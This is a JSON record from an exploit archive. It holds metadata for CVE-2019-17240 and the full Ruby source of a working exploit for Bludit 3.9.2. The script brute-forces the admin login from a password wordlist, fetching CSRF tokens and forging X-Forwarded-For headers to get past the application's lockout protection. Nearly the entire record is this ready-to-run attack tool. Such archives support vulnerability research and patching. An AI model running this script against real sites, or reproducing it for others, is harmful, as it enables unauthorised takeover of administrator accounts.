{"exploit":{"id":"EDB-48746","name":"Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass","description":"Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass","cves":["CVE-2019-17240"],"author":"Alexandre ZANNI","published":"2020-08-17","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48746","path":"exploits/php/webapps/48746.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48746.rb","vulnerabilities":[{"id":"CVE-2019-17240","state":"PUBLISHED","title":null,"titleSource":null,"description":"bl-kernel/security.class.php in Bludit 3.9.2 allows attackers to bypass a brute-force protection mechanism by using many different forged X-Forwarded-For or Client-IP HTTP headers.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-17240","cvss":{"version":"3.0","baseScore":3.7,"severity":"low","vectorString":"CVSS:3.0/AC:H/AV:N/A:N/C:L/I:N/PR:N/S:U/UI:N","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-17240"},"updatedAt":"2024-08-05T01:33:17.328Z","retrievedAt":"2026-11-27T03:48:32.573Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48746.png?v=2","url":"https://exploitbin.com/exploits/EDB-48746","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48746/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48746/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env ruby\n## Title: Bludit  3.9.2 - Authentication Bruteforce Mitigation Bypass\n## Author: noraj (Alexandre ZANNI)\n## Author website: https://pwn.by/noraj/\n## Date: 2020-08-16\n## Vendor Homepage: https://www.bludit.com/\n## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz\n## Version: <= 3.9.2\n## Tested on: Bludit Version 3.9.2\n\n# Vulnerability\n## Discoverer: Rastating\n## Discoverer website: https://rastating.github.io/\n## CVE: CVE-2019-17240\n## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-17240\n## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/\n## Patch: https://github.com/bludit/bludit/pull/1090\n\nrequire 'httpclient'\nrequire 'docopt'\n\n# dirty workaround to remove this warning:\n#   Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need \".\" at the beginning.\n# see https://github.com/nahi/httpclient/issues/252\nclass WebAgent\n  class Cookie < HTTP::Cookie\n    def domain\n      self.original_domain\n    end\n  end\nend\n\ndef get_csrf(client, login_url)\n  res = client.get(login_url)\n  csrf_token = /input.+?name=\"tokenCSRF\".+?value=\"(.+?)\"/.match(res.body).captures[0]\nend\n\ndef auth_ok?(res)\n  HTTP::Status.redirect?(res.code) &&\n    %r{/admin/dashboard}.match?(res.headers['Location'])\nend\n\ndef bruteforce_auth(client, host, username, wordlist)\n  login_url = host + '/admin/login'\n  File.foreach(wordlist).with_index do |password, i|\n    password = password.chomp\n    csrf_token = get_csrf(client, login_url)\n    headers = {\n      'X-Forwarded-For' => \"#{i}-#{password[..4]}\",\n    }\n    data = {\n      'tokenCSRF' => csrf_token,\n      'username' => username,\n      'password' => password,\n    }\n    puts \"[*] Trying password: #{password}\"\n    auth_res = client.post(login_url, data, headers)\n    if auth_ok?(auth_res)\n      puts \"\\n[+] Password found: #{password}\"\n      break\n    end\n  end\nend\n\ndoc = <<~DOCOPT\n  Bludit <= 3.9.2 - Authentication Bruteforce Mitigation Bypass\n\n  Usage:\n    #{__FILE__} -r <url> -u <username> -w <path> [--debug]\n    #{__FILE__} -H | --help\n\n  Options:\n    -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder\n    -u <username>, --user <username>      Username of the admin\n    -w <path>, --wordlist <path>          Path to the wordlist file\n    --debug                               Display arguments\n    -H, --help                            Show this screen\n\n  Examples:\n    #{__FILE__} -r http://example.org -u admin -w myWordlist.txt\n    #{__FILE__} -r https://example.org:8443/bludit -u john -w /usr/share/wordlists/password/rockyou.txt\nDOCOPT\n\nbegin\n  args = Docopt.docopt(doc)\n  pp args if args['--debug']\n\n  clnt = HTTPClient.new\n  bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist'])\nrescue Docopt::Exit => e\n  puts e.message\nend","sha256":"dee977d3695fb56a0180648b53e9c4f7d446df6267ab83104f202aa3396dbf6f","bytes":2844,"fetchedAt":"2026-11-27T04:07:30.693Z","encoding":"utf-8 (display only; download retains original bytes)"}